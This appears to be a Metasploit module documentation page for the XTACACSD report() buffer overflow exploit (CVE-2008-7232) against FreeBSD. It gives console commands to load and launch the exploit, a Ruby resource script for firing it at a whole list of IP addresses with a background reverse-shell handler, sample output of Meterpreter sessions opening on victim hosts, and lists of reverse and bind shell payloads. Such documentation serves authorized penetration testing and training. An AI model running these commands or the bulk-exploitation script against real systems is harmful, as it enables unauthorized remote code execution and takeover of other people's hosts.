XTACACSD report() Buffer Overflow - Metasploit


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Module Overview

Name: XTACACSD report() Buffer Overflow
Module: exploit/freebsd/tacacs/xtacacsd_report
Source code: modules/exploits/freebsd/tacacs/xtacacsd_report.rb
Disclosure date: 2008-01-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): BSD
Target service / protocol: -
Target network port(s): 49
List of CVEs: CVE-2008-7232

This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By sending a specially crafted XTACACS packet with an overly long username, an attacker may be able to execute arbitrary code.

Module Ranking and Traits

Module Ranking:

  • average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Basic Usage

Using xtacacsd_report against a single host

Normally, you can use exploit/freebsd/tacacs/xtacacsd_report this way:

msf > use exploit/freebsd/tacacs/xtacacsd_report
msf exploit(xtacacsd_report) > show targets
    ... a list of targets ...
msf exploit(xtacacsd_report) > set TARGET target-id
msf exploit(xtacacsd_report) > show options
    ... show and set options ...
msf exploit(xtacacsd_report) > exploit

Using xtacacsd_report against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your xtacacsd_report will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/freebsd/tacacs/xtacacsd_report")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the freebsd/tacacs/xtacacsd_report exploit module looks in the msfconsole:

msf6 > use exploit/freebsd/tacacs/xtacacsd_report

[*] No payload configured, defaulting to bsd/x86/shell/reverse_tcp
msf6 exploit(freebsd/tacacs/xtacacsd_report) > show info

       Name: XTACACSD report() Buffer Overflow
     Module: exploit/freebsd/tacacs/xtacacsd_report
   Platform: BSD
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-01-08

Provided by:
  MC <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   FreeBSD 6.2-Release Bruteforce

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   49               yes       The target port (UDP)

Payload information:
  Space: 175
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. 
  By sending a specially crafted XTACACS packet with an overly long 
  username, an attacker may be able to execute arbitrary code.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-7232
  OSVDB (58140)
  http://aluigi.altervista.org/adv/xtacacsdz-adv.txt

Module Options

This is a complete list of options available in the freebsd/tacacs/xtacacsd_report exploit:

msf6 exploit(freebsd/tacacs/xtacacsd_report) > show options

Module options (exploit/freebsd/tacacs/xtacacsd_report):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   49               yes       The target port (UDP)

Payload options (bsd/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   FreeBSD 6.2-Release Bruteforce

Advanced Options

Here is a complete list of advanced options supported by the freebsd/tacacs/xtacacsd_report exploit:

msf6 exploit(freebsd/tacacs/xtacacsd_report) > show advanced

Module advanced options (exploit/freebsd/tacacs/xtacacsd_report):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   BruteStep                                no        Step size between brute force attempts
   BruteWait                                no        Delay between brute force attempts
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (bsd/x86/shell/reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   EnableStageEncoding         false            no        Encode the second stage payload
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the freebsd/tacacs/xtacacsd_report module can exploit:

msf6 exploit(freebsd/tacacs/xtacacsd_report) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   FreeBSD 6.2-Release Bruteforce

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the freebsd/tacacs/xtacacsd_report exploit:

msf6 exploit(freebsd/tacacs/xtacacsd_report) > show payloads

Compatible Payloads
===================

   #   Name                                    Disclosure Date  Rank    Check  Description
   -   ----                                    ---------------  ----    -----  -----------
   0   payload/bsd/x86/exec                                     normal  No     BSD Execute Command
   1   payload/bsd/x86/metsvc_bind_tcp                          normal  No     FreeBSD Meterpreter Service, Bind TCP
   2   payload/bsd/x86/metsvc_reverse_tcp                       normal  No     FreeBSD Meterpreter Service, Reverse TCP Inline
   3   payload/bsd/x86/shell/bind_ipv6_tcp                      normal  No     BSD Command Shell, Bind TCP Stager (IPv6)
   4   payload/bsd/x86/shell/bind_tcp                           normal  No     BSD Command Shell, Bind TCP Stager
   5   payload/bsd/x86/shell/reverse_ipv6_tcp                   normal  No     BSD Command Shell, Reverse TCP Stager (IPv6)
   6   payload/bsd/x86/shell/reverse_tcp                        normal  No     BSD Command Shell, Reverse TCP Stager
   7   payload/bsd/x86/shell_bind_tcp                           normal  No     BSD Command Shell, Bind TCP Inline
   8   payload/bsd/x86/shell_bind_tcp_ipv6                      normal  No     BSD Command Shell, Bind TCP Inline (IPv6)
   9   payload/bsd/x86/shell_reverse_tcp                        normal  No     BSD Command Shell, Reverse TCP Inline
   10  payload/bsd/x86/shell_reverse_tcp_ipv6                   normal  No     BSD Command Shell, Reverse TCP Inline (IPv6)
   11  payload/bsdi/x86/shell/bind_tcp                          normal  No     BSDi Command Shell, Bind TCP Stager
   12  payload/bsdi/x86/shell/reverse_tcp                       normal  No     BSDi Command Shell, Reverse TCP Stager
   13  payload/bsdi/x86/shell_bind_tcp                          normal  No     BSDi Command Shell, Bind TCP Inline
   14  payload/bsdi/x86/shell_reverse_tcp                       normal  No     BSDi Command Shell, Reverse TCP Inline
   15  payload/generic/custom                                   normal  No     Custom Payload
   16  payload/generic/debug_trap                               normal  No     Generic x86 Debug Trap
   17  payload/generic/shell_bind_tcp                           normal  No     Generic Command Shell, Bind TCP Inline
   18  payload/generic/shell_reverse_tcp                        normal  No     Generic Command Shell, Reverse TCP Inline
   19  payload/generic/tight_loop                               normal  No     Generic x86 Tight Loop

Evasion Options

Here is the full list of possible evasion options supported by the freebsd/tacacs/xtacacsd_report exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(freebsd/tacacs/xtacacsd_report) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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References

See Also

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Authors

MC

Version

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